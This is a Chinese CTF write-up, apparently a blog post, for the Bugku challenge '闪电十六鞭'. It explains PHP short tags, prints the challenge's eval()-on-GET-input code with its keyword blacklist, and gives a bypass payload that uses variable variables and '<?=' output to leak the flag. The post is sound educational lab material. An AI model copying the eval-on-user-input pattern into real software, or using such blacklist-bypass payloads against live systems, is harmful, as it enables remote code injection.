bugku ctf 闪电十六鞭 <?= ?> 短标签

0x00 解题须知

在php中

<? ?>和<?= ?>是短标签

而<?php ?>是长标签
其中<?= 是代替 <? echo的

<? ?>代替的是<?php ?>

php.ini文件 可以配置php 是否可以解析短标签

short_open_tag = On

示例如下:

0x01 解题

<?php
    error_reporting(0);
    require __DIR__.'/flag.php';

    $exam = 'return\''.sha1(time()).'\';';

    if (!isset($_GET['flag'])) {
        echo '<a href="./?flag='.$exam.'">Click here</a>';
    }
    else if (strlen($_GET['flag']) != strlen($exam)) {
        echo '长度不允许';
    }
    else if (preg_match('/`|"|\.|\\\\|\(|\)|\[|\]|_|flag|echo|print|require|include|die|exit/is', $_GET['flag'])) {
        echo '关键字不允许';
    }
    else if (eval($_GET['flag']) === sha1($flag)) {
        echo $flag;
    }
    else {
        echo '马老师发生甚么事了';
    }

    echo '<hr>';

    highlight_file(__FILE__);

由代码可知 如果想要输出 $flag

必须

1.get传参 flag
2.flag值的长度得和$exam的长度一样 测试后者长度为49
3.不允许 存在 '  "  .   \\\\   (       )     [    ]  _  flag  echo  print require include  die  exit   is  等字符
4.eval($_GET['flag']) 结果要等于 sha1($flag)

可以从 eval() 代码执行函数这里做文章
想办法 让 该函数 直接执行 输出 $flag

$a= 'fla1'; //因为 flag 不可以直接出现 可以用 赋值某一位的值替换
$a{3}='g';
?>  //再用闭合前面的 <?php
<?=$$a;?> //短标签输出$flag
不足49的长度 差多少 用1补齐 或者刚好三个<?=$$a;?> 输出flag刚好49

payload 为

$a='fla1';$a{3}='g';?><?=$$a;?><?=$$a;?><?=$$a;?>

在这里插入图片描述

可以本地测试 短标签

<?php


$flag = 123  ;

eval('$a="fla1"; $a{3}="g";  ?> 111111111 <?=$$a;?> <?php echo $$a ?>' );

?>

在这里插入图片描述

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值